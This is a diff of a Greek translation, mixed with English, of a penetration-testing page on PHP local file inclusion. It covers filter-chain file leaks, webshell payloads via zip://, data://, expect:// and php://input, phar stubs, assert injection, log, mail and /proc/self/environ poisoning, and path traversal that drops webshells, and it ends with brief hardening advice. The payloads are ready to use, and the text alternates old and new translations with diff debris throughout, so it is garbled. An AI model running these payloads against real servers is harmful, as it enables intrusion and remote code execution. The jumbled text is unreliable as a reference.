- Ο codec **convert.iconv.UNICODE.CP930** μετασχηματίζει κάθε γράμμα στο επόμενο (οπότε μετά από αυτόν τον codec: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν ο πρώτος χαρακτήρας είναι `a`, γιατί αν εφαρμόσουμε 6 φορές αυτόν τον codec: a->b->c->d->e->f->g, το γράμμα δεν είναι πλέον hex, επομένως το dechunk δεν το διαγράφει και το php σφάλμα ενεργοποιείται λόγω του πολλαπλασιασμού με την αρχική «βόμβα».
|
||||||
|
- Using other transformations like **rot13** at the beginning it’s possible to leak other chars like n, o, p, q, r (and other codecs can be used to move other letters to the hex range).
|
||||||
|
- Χρησιμοποιώντας άλλους μετασχηματισμούς όπως **rot13** στην αρχή, είναι δυνατό να leak άλλα chars όπως n, o, p, q, r (και άλλοι codecs μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στο hex range).
|
||||||
|
- When the initial char is a number it’s needed to base64 encode it and leak the 2 first letters to leak the number.
|
||||||
|
- Όταν ο αρχικός χαρακτήρας είναι αριθμός χρειάζεται να γίνει base64 encode και να leak τα 2 πρώτα γράμματα για να leak τον αριθμό.
|
||||||
|
- The final problem is to see **how to leak more than the initial letter**. By using order memory filters like **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** is possible to change the order of the chars and get in the first position other letters of the text.
|
||||||
|
- Το τελικό πρόβλημα είναι να δούμε **πώς να leak περισσότερα από τον αρχικό χαρακτήρα**. Χρησιμοποιώντας order memory filters όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατό να αλλάξουμε τη σειρά των χαρακτήρων και να φέρουμε στην πρώτη θέση άλλα γράμματα του κειμένου.
|
||||||
|
- And in order to be able to obtain **further data** the idea if to **generate 2 bytes of junk data at the beginning** with **convert.iconv.UTF16.UTF16**, apply **UCS-4LE** to make it **pivot with the next 2 bytes**, and d**elete the data until the junk data** (this will remove the first 2 bytes of the initial text). Continue doing this until you reach the disired bit to leak.
|
||||||
|
- Και για να μπορέσουμε να πάρουμε **further data** η ιδέα είναι να **παράξουμε 2 bytes junk data στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** ώστε να γίνει **pivot με τα επόμενα 2 bytes**, και να **διαγράψουμε τα δεδομένα μέχρι τα junk data** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε έτσι μέχρι να φτάσετε στο επιθυμητό bit για leak.
|
||||||
|
|
||||||
In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
Στην ανάρτηση υπάρχει επίσης ένα εργαλείο για αυτόματη εκτέλεση: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
|
||||||
|
|
||||||
### php://fd
|
### php://fd
|
||||||
|
|
||||||
@ -298,12 +307,12 @@ This wrapper allows to access file descriptors that the process has open. Potent
|
|||||||
echo file_get_contents("php://fd/3");
|
echo file_get_contents("php://fd/3");
|
||||||
$myfile = fopen("/etc/passwd", "r");
|
$myfile = fopen("/etc/passwd", "r");
|
||||||
```
|
```
|
||||||
Μπορείτε επίσης να χρησιμοποιήσετε **php://stdin, php://stdout και php://stderr** για να αποκτήσετε πρόσβαση στους **περιγραφείς αρχείων 0, 1 και 2** αντίστοιχα (δεν είμαι σίγουρος/η πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση)
|
Μπορείτε επίσης να χρησιμοποιήσετε **php://stdin, php://stdout and php://stderr** για να αποκτήσετε πρόσβαση στα **file descriptors 0, 1 and 2** αντίστοιχα (δεν είναι σαφές πώς αυτό θα μπορούσε να είναι χρήσιμο σε μια επίθεση)
|
||||||
|
|
||||||
### zip:// and rar://
|
### zip:// και rar://
|
||||||
|
|
||||||
Ανέβασε ένα αρχείο Zip ή Rar με ένα PHPShell μέσα και πρόσβασέ το.\
|
Ανεβάστε ένα Zip ή Rar αρχείο με ένα PHPShell μέσα και αποκτήστε πρόσβαση σε αυτό.\
|
||||||
Για να είναι δυνατή η κατάχρηση του πρωτοκόλλου rar, αυτό **πρέπει να ενεργοποιηθεί ειδικά**.
|
Για να μπορείτε να εκμεταλλευτείτε το rar protocol, **πρέπει να ενεργοποιηθεί ειδικά**.
|
||||||
```bash
|
```bash
|
||||||
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
|
||||||
zip payload.zip payload.php;
|
zip payload.zip payload.php;
|
||||||
@ -328,11 +337,11 @@ http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
|
|||||||
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
|
||||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||||
```
|
```
|
||||||
Σημειώστε ότι αυτό το πρωτόκολλο περιορίζεται από τις ρυθμίσεις του php **`allow_url_open`** και **`allow_url_include`**
|
Σημειώστε ότι αυτό το πρωτόκολλο περιορίζεται από τις ρυθμίσεις php **`allow_url_open`** και **`allow_url_include`**
|
||||||
|
|
||||||
### expect://
|
### expect://
|
||||||
|
|
||||||
Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας αυτό:
|
Το Expect πρέπει να είναι ενεργοποιημένο. Μπορείτε να εκτελέσετε κώδικα χρησιμοποιώντας το εξής:
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=expect://id
|
http://example.com/index.php?page=expect://id
|
||||||
http://example.com/index.php?page=expect://ls
|
http://example.com/index.php?page=expect://ls
|
||||||
@ -345,7 +354,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system
|
|||||||
```
|
```
|
||||||
### phar://
|
### phar://
|
||||||
|
|
||||||
Ένα αρχείο `.phar` μπορεί να χρησιμοποιηθεί για την εκτέλεση PHP κώδικα όταν μια web εφαρμογή αξιοποιεί συναρτήσεις όπως η `include` για τη φόρτωση αρχείων. Το παρακάτω απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου `.phar`:
|
Ένα αρχείο `.phar` μπορεί να χρησιμοποιηθεί για την εκτέλεση κώδικα PHP όταν μια web εφαρμογή αξιοποιεί συναρτήσεις όπως την `include` για τη φόρτωση αρχείων. Το παρακάτω απόσπασμα κώδικα PHP δείχνει τη δημιουργία ενός αρχείου `.phar`:
|
||||||
```php
|
```php
|
||||||
<?php
|
<?php
|
||||||
$phar = new Phar('test.phar');
|
$phar = new Phar('test.phar');
|
||||||
@ -354,15 +363,15 @@ $phar->addFromString('test.txt', 'text');
|
|||||||
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
|
||||||
$phar->stopBuffering();
|
$phar->stopBuffering();
|
||||||
```
|
```
|
||||||
Για να δημιουργηθεί το αρχείο `.phar`, πρέπει να εκτελεστεί η ακόλουθη εντολή:
|
Για να μεταγλωττιστεί το αρχείο `.phar`, πρέπει να εκτελεστεί η ακόλουθη εντολή:
|
||||||
```bash
|
```bash
|
||||||
php --define phar.readonly=0 create_path.php
|
php --define phar.readonly=0 create_path.php
|
||||||
```
|
```
|
||||||
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα `test.phar`, το οποίο θα μπορούσε ενδεχομένως να αξιοποιηθεί για την εκμετάλλευση ευπαθειών Local File Inclusion (LFI).
|
Κατά την εκτέλεση, θα δημιουργηθεί ένα αρχείο με όνομα `test.phar`, το οποίο θα μπορούσε ενδεχομένως να χρησιμοποιηθεί για την εκμετάλλευση ευπαθειών Local File Inclusion (LFI).
|
||||||
|
|
||||||
Σε περιπτώσεις όπου το LFI μόνο διαβάζει αρχεία χωρίς να εκτελεί τον PHP κώδικα που περιέχουν, μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()`, μπορεί να επιχειρηθεί εκμετάλλευση μιας deserialization vulnerability. Αυτή η ευπάθεια σχετίζεται με το διάβασμα αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`.
|
Σε περιπτώσεις όπου το LFI απλώς διαβάζει αρχεία χωρίς να εκτελεί τον PHP κώδικα που περιέχουν — μέσω συναρτήσεων όπως `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, ή `filesize()` — μπορεί να επιχειρηθεί η εκμετάλλευση μίας ευπάθειας αποσειριοποίησης. Αυτή η ευπάθεια σχετίζεται με την ανάγνωση αρχείων χρησιμοποιώντας το πρωτόκολλο `phar`.
|
||||||
|
|
||||||
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
|
Για λεπτομερή κατανόηση της εκμετάλλευσης ευπαθειών αποσειριοποίησης στο πλαίσιο αρχείων `.phar`, ανατρέξτε στο έγγραφο που συνδέεται παρακάτω:
|
||||||
|
|
||||||
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
|
||||||
|
|
||||||
@ -373,36 +382,36 @@ phar-deserialization.md
|
|||||||
|
|
||||||
### CVE-2024-2961
|
### CVE-2024-2961
|
||||||
|
|
||||||
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
Ήταν εφικτό να εκμεταλλευτεί κανείς **οποιοδήποτε αυθαίρετο αρχείο που διαβάζεται από PHP και υποστηρίζει php filters** για να αποκτήσει RCE. Η λεπτομερής περιγραφή μπορεί να [**βρεθεί σε αυτήν την ανάρτηση**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
|
||||||
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
|
Πολύ σύντομη περίληψη: μια **υπερροή 3 byte** στη μνήμη heap του PHP εκμεταλλεύτηκε για να **αλλάξει την αλυσίδα των ελεύθερων chunks** ενός συγκεκριμένου μεγέθους ώστε να είναι δυνατή η **εγγραφή οτιδήποτε σε οποιαδήποτε διεύθυνση**, έτσι προστέθηκε ένα hook για να καλεί **`system`**.\
|
||||||
It was possible to alloc chunks of specific sizes abusing more php filters.
|
Μπορούσε να γίνει allocation chunks συγκεκριμένων μεγεθών με την κατάχρηση επιπλέον php filters.
|
||||||
|
|
||||||
### More protocols
|
### Περισσότερα πρωτόκολλα
|
||||||
|
|
||||||
Ελέγξτε περισσότερα πιθανά[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
Δείτε περισσότερα πιθανά [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
|
||||||
|
|
||||||
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Εγγραφή στη μνήμη ή σε προσωρινό αρχείο (δεν είναι σαφές πώς αυτό μπορεί να είναι χρήσιμο σε μια file inclusion attack)
|
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Γράφει στη μνήμη ή σε προσωρινό αρχείο (δεν είμαι σίγουρος πώς αυτό μπορεί να είναι χρήσιμο σε μια file inclusion attack)
|
||||||
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Πρόσβαση στο τοπικό filesystem
|
- [file://](https://www.php.net/manual/en/wrappers.file.php) — Πρόσβαση στο τοπικό filesystem
|
||||||
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Πρόσβαση σε HTTP(s) URLs
|
- [http://](https://www.php.net/manual/en/wrappers.http.php) — Πρόσβαση σε HTTP(s) URLs
|
||||||
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Πρόσβαση σε FTP(s) URLs
|
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — Πρόσβαση σε FTP(s) URLs
|
||||||
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
|
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Ροές συμπίεσης
|
||||||
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Εύρεση μονοπατιών που ταιριάζουν με πρότυπο (Δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
|
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Εύρεση ονομάτων διαδρομών που ταιριάζουν με πρότυπο (δεν επιστρέφει τίποτα εκτυπώσιμο, οπότε δεν είναι πραγματικά χρήσιμο εδώ)
|
||||||
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Δεν είναι χρήσιμο για την ανάγνωση arbitrary files)
|
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ροές ήχου (Δεν είναι χρήσιμο για την ανάγνωση αυθαίρετων αρχείων)
|
||||||
|
|
||||||
## LFI via PHP's 'assert'
|
## LFI via PHP's 'assert'
|
||||||
|
|
||||||
Οι κίνδυνοι από Local File Inclusion (LFI) στο PHP είναι ιδιαίτερα υψηλοί όταν υπάρχει η συνάρτηση 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε strings. Αυτό είναι ιδιαίτερα προβληματικό εάν γίνει έλεγχος σε είσοδο που περιέχει χαρακτήρες directory traversal όπως ".." αλλά δεν γίνεται σωστή απολύμανση.
|
Οι κίνδυνοι από Local File Inclusion (LFI) σε PHP είναι αξιοσημείωτα υψηλοί όταν χειριζόμαστε τη συνάρτηση 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε συμβολοσειρές. Αυτό είναι ιδιαίτερα προβληματικό αν ελέγχεται είσοδος που περιέχει χαρακτήρες directory traversal όπως ".." αλλά δεν φιλτράρεται σωστά.
|
||||||
|
|
||||||
For example, PHP code might be designed to prevent directory traversal like so:
|
Για παράδειγμα, ο κώδικας PHP μπορεί να έχει σχεδιαστεί να αποτρέπει directory traversal ως εξής:
|
||||||
```bash
|
```bash
|
||||||
assert("strpos('$file', '..') === false") or die("");
|
assert("strpos('$file', '..') === false") or die("");
|
||||||
```
|
```
|
||||||
Ενώ αυτό στοχεύει στο να σταματήσει το traversal, δημιουργεί ακούσια ένα vector για code injection. Για να το exploit για την ανάγνωση του περιεχομένου ενός αρχείου, ένας attacker θα μπορούσε να χρησιμοποιήσει:
|
Ενώ αυτό στοχεύει στο να σταματήσει το traversal, δημιουργεί άθελά του ένα διάνυσμα για code injection. Για να εκμεταλλευτεί αυτό για ανάγνωση περιεχομένου αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει:
|
||||||
```plaintext
|
```plaintext
|
||||||
' and die(highlight_file('/etc/passwd')) or '
|
' and die(highlight_file('/etc/passwd')) or '
|
||||||
```
|
```
|
||||||
Παρομοίως, για την εκτέλεση αυθαίρετων εντολών συστήματος, κάποιος μπορεί να χρησιμοποιήσει:
|
Ομοίως, για την εκτέλεση αυθαίρετων εντολών συστήματος, κάποιος μπορεί να χρησιμοποιήσει:
|
||||||
```plaintext
|
```plaintext
|
||||||
' and die(system("id")) or '
|
' and die(system("id")) or '
|
||||||
```
|
```
|
||||||
@ -411,17 +420,17 @@ It's important to **URL-encode these payloads**.
|
|||||||
## PHP Blind Path Traversal
|
## PHP Blind Path Traversal
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου εσείς **ελέγχετε** τη **διαδρομή αρχείου** μιας **PHP function** που θα **αποκτήσει πρόσβαση σε ένα αρχείο**, αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση σε **`file()`**) καθώς το περιεχόμενο δεν εμφανίζεται.
|
> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου εσείς **ελέγχετε** την **διαδρομή αρχείου** μιας **συνάρτησης PHP** που θα **προσπελάσει ένα αρχείο** αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση στο **`file()`**) και το περιεχόμενο δεν εμφανίζεται.
|
||||||
|
|
||||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
|
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
|
||||||
|
|
||||||
Συνοπτικά, η τεχνική χρησιμοποιεί την κωδικοποίηση **"UCS-4LE"** για να κάνει το περιεχόμενο ενός αρχείου τόσο **μεγάλο** που η **PHP function που ανοίγει** το αρχείο θα προκαλέσει ένα **error**.
|
As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**.
|
||||||
|
|
||||||
Στη συνέχεια, για να leak τον πρώτο χαρακτήρα χρησιμοποιείται το φίλτρο **`dechunk`** μαζί με άλλα όπως **base64** ή **rot13** και τελικά τα φίλτρα **convert.iconv.UCS-4.UCS-4LE** και **convert.iconv.UTF16.UTF-16BE** χρησιμοποιούνται για να **τοποθετήσουν άλλους χαρακτήρες στην αρχή και να τους leak**.
|
Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**.
|
||||||
|
|
||||||
**Συναρτήσεις που μπορεί να είναι ευάλωτες**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||||
|
|
||||||
Για τεχνικές λεπτομέρειες δείτε το προαναφερθέν post!
|
For the technical details check the mentioned post!
|
||||||
|
|
||||||
## LFI2RCE
|
## LFI2RCE
|
||||||
|
|
||||||
@ -429,18 +438,18 @@ In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filt
|
|||||||
|
|
||||||
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
|
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
|
||||||
|
|
||||||
Typical exploitation workflow:
|
Τυπική ροή εκμετάλλευσης:
|
||||||
- Εντοπίστε ένα write primitive σε ένα endpoint ή background worker που δέχεται ένα path/filename και γράφει περιεχόμενο στο δίσκο (π.χ. message-driven ingestion, XML/JSON command handlers, ZIP extractors, κτλ.).
|
- Εντοπίστε ένα write primitive σε ένα endpoint ή background worker που αποδέχεται ένα path/filename και γράφει περιεχόμενο στο disk (π.χ., message-driven ingestion, XML/JSON command handlers, ZIP extractors, κ.λπ.).
|
||||||
- Προσδιορίστε web-exposed directories. Συνηθισμένα παραδείγματα:
|
- Προσδιορίστε web-exposed directories. Συνηθισμένα παραδείγματα:
|
||||||
- Apache/PHP: `/var/www/html/`
|
- Apache/PHP: `/var/www/html/`
|
||||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||||
- Σχεδιάστε μια traversal διαδρομή που θα σπάσει έξω από τον προοριζόμενο κατάλογο αποθήκευσης προς το webroot, και τοποθετήστε μέσα το περιεχόμενο της webshell σας.
|
- Δημιουργήστε μια traversal διαδρομή που σπάει έξω από τον προοριζόμενο storage κατάλογο προς το webroot, και συμπεριλάβετε το webshell περιεχόμενό σας.
|
||||||
- Περιηγηθείτε στο dropped payload και εκτελέστε εντολές.
|
- Πλοηγηθείτε στο dropped payload και εκτελέστε εντολές.
|
||||||
|
|
||||||
Σημειώσεις:
|
Σημειώσεις:
|
||||||
- Η ευάλωτη υπηρεσία που εκτελεί τη εγγραφή μπορεί να ακούει σε μια μη-HTTP θύρα (π.χ. ένας JMF XML listener στο TCP 4004). Το κύριο web portal (διαφορετική θύρα) θα σερβίρει αργότερα το payload σας.
|
- Η ευάλωτη υπηρεσία που εκτελεί το write ίσως ακούει σε ένα non-HTTP port (π.χ., ένας JMF XML listener στο TCP 4004). Το κύριο web portal (διαφορετική θύρα) θα εξυπηρετήσει αργότερα το payload σας.
|
||||||
- Στους Java stacks, αυτές οι εγγραφές αρχείων συχνά υλοποιούνται με απλή concatenation `File`/`Paths`. Η έλλειψη canonicalisation/allow-listing είναι το βασικό σφάλμα.
|
- Σε Java stacks, αυτές οι εγγραφές αρχείων συχνά υλοποιούνται με απλή `File`/`Paths` concatenation. Η έλλειψη canonicalisation/allow-listing είναι το βασικό σφάλμα.
|
||||||
|
|
||||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||||
```xml
|
```xml
|
||||||
@ -466,26 +475,26 @@ in.transferTo(out);
|
|||||||
</Command>
|
</Command>
|
||||||
</JMF>
|
</JMF>
|
||||||
```
|
```
|
||||||
Σκληροποίηση που εξουδετερώνει αυτή την κατηγορία σφαλμάτων:
|
Ενίσχυση ασφαλείας που εξουδετερώνει αυτήν την κατηγορία ευπαθειών:
|
||||||
- Επιλύστε σε canonical path και επιβάλετε ότι είναι απόγονος ενός allow-listed base directory.
|
- Επίλυση σε κανονική διαδρομή και εξασφάλιση ότι είναι απόγονος ενός βασικού καταλόγου που περιλαμβάνεται στη λίστα επιτρεπόμενων.
|
||||||
- Απορρίψτε οποιοδήποτε path που περιέχει `..`, absolute roots, ή drive letters· προτιμήστε generated filenames.
|
- Απόρριψη οποιασδήποτε διαδρομής που περιέχει `..`, απόλυτες ρίζες, ή γράμματα δίσκου; προτιμήστε παραγόμενα ονόματα αρχείων.
|
||||||
- Τρέξτε τον writer ως low-privileged account και διαχωρίστε τους write directories από τα served roots.
|
- Εκτέλεση του writer ως λογαριασμός με χαμηλά δικαιώματα και απομόνωση των καταλόγων εγγραφής από τις ρίζες που εξυπηρετούνται.
|
||||||
|
|
||||||
## Remote File Inclusion
|
## Remote File Inclusion
|
||||||
|
|
||||||
Explained previously, [**follow this link**](#remote-file-inclusion).
|
Explained previously, [**follow this link**](#remote-file-inclusion).
|
||||||
|
|
||||||
### Μέσω Apache/Nginx log file
|
### Μέσω αρχείου καταγραφής Apache/Nginx
|
||||||
|
|
||||||
Εάν ο Apache ή ο Nginx server είναι **ευάλωτος σε LFI** μέσα στην include function μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, να βάλετε μέσα στο **user agent** ή σε ένα **GET parameter** ένα php shell όπως **`<?php system($_GET['c']); ?>`** και να συμπεριλάβετε αυτό το αρχείο
|
Αν ο διακομιστής Apache ή Nginx είναι **ευάλωτος σε LFI** μέσα στη συνάρτηση include μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στα **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, να τοποθετήσετε στο **user agent** ή σε μια **GET parameter** ένα php shell όπως **`<?php system($_GET['c']); ?>`** και να συμπεριλάβετε αυτό το αρχείο
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Σημειώστε ότι **εάν χρησιμοποιήσετε double quotes** για το shell αντί για **simple quotes**, τα double quotes θα τροποποιηθούν στη συμβολοσειρά "_**quote;**_", **PHP θα ρίξει σφάλμα** και **τίποτε άλλο δεν θα εκτελεστεί**.
|
> Σημειώστε ότι **αν χρησιμοποιήσετε διπλά εισαγωγικά** για το shell αντί για **απλά εισαγωγικά**, τα διπλά εισαγωγικά θα τροποποιηθούν στη συμβολοσειρά "_**quote;**_", **η PHP θα ρίξει σφάλμα** εκεί και **τίποτα άλλο δεν θα εκτελεστεί**.
|
||||||
>
|
>
|
||||||
> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** αλλιώς η PHP θα εμφανίζει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το log file και δεν θα έχετε δεύτερη ευκαιρία.
|
> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** αλλιώς η PHP θα κάνει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
|
||||||
|
|
||||||
Αυτό μπορεί επίσης να γίνει σε άλλα logs αλλά **πρόσεχε,** ο κώδικας μέσα στα logs μπορεί να είναι URL encoded και αυτό μπορεί να καταστρέψει το Shell. Το header **authorisation "basic"** περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στα logs. Το PHPShell μπορεί να εισαχθεί μέσα σε αυτό το header.\
|
Αυτό μπορεί επίσης να γίνει σε άλλα logs αλλά **προσοχή,** ο κώδικας μέσα στα αρχεία καταγραφής μπορεί να είναι URL encoded και αυτό μπορεί να καταστρέψει το Shell. Το header **authorisation "basic"** περιέχει "user:password" σε Base64 και αυτό αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell μπορεί να εισαχθεί μέσα σε αυτό το header.\
|
||||||
Other possible log paths:
|
Άλλες πιθανές διαδρομές αρχείων καταγραφής:
|
||||||
```python
|
```python
|
||||||
/var/log/apache2/access.log
|
/var/log/apache2/access.log
|
||||||
/var/log/apache/access.log
|
/var/log/apache/access.log
|
||||||
@ -501,31 +510,31 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
|||||||
|
|
||||||
### Μέσω Email
|
### Μέσω Email
|
||||||
|
|
||||||
**Στείλε ένα mail** σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σου όπως `<?php echo system($_REQUEST["cmd"]); ?>` και προσπάθησε να κάνεις include το mail του χρήστη με διαδρομή όπως **`/var/mail/<USERNAME>`** ή **`/var/spool/mail/<USERNAME>`**
|
**Στείλτε ένα mail** σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σας όπως `<?php echo system($_REQUEST["cmd"]); ?>` και προσπαθήστε να το include στο mail του χρήστη με ένα path όπως **`/var/mail/<USERNAME>`** ή **`/var/spool/mail/<USERNAME>`**
|
||||||
|
|
||||||
### Μέσω /proc/\*/fd/\*
|
### Μέσω /proc/*/fd/*
|
||||||
|
|
||||||
1. Ανέβασε πολλά shells (π.χ.: 100)
|
1. Ανεβάστε πολλά shells (για παράδειγμα: 100)
|
||||||
2. Κάνε include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διεργασίας (μπορεί να βρεθεί με brute force) και $FD το file descriptor (μπορεί επίσης να βρεθεί με brute force)
|
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διεργασίας (μπορεί να βρεθεί με brute force) και $FD ο file descriptor (μπορεί επίσης να βρεθεί με brute force)
|
||||||
|
|
||||||
### Μέσω /proc/self/environ
|
### Μέσω /proc/self/environ
|
||||||
|
|
||||||
Όπως ένα αρχείο καταγραφής, στείλε το payload στο User-Agent, θα αντικατοπτριστεί μέσα στο αρχείο /proc/self/environ
|
Όπως σε ένα αρχείο καταγραφής, στείλτε το payload στο User-Agent — θα εμφανιστεί μέσα στο αρχείο /proc/self/environ
|
||||||
```
|
```
|
||||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||||
User-Agent: <?=phpinfo(); ?>
|
User-Agent: <?=phpinfo(); ?>
|
||||||
```
|
```
|
||||||
### Via upload
|
### Μέσω upload
|
||||||
|
|
||||||
Αν μπορείς να upload ένα αρχείο, απλώς inject το shell payload σε αυτό (e.g : `<?php system($_GET['c']); ?>` ).
|
Εάν μπορείτε να upload ένα αρχείο, απλά εισάγετε το shell payload σε αυτό (e.g : `<?php system($_GET['c']); ?>` ).
|
||||||
```
|
```
|
||||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
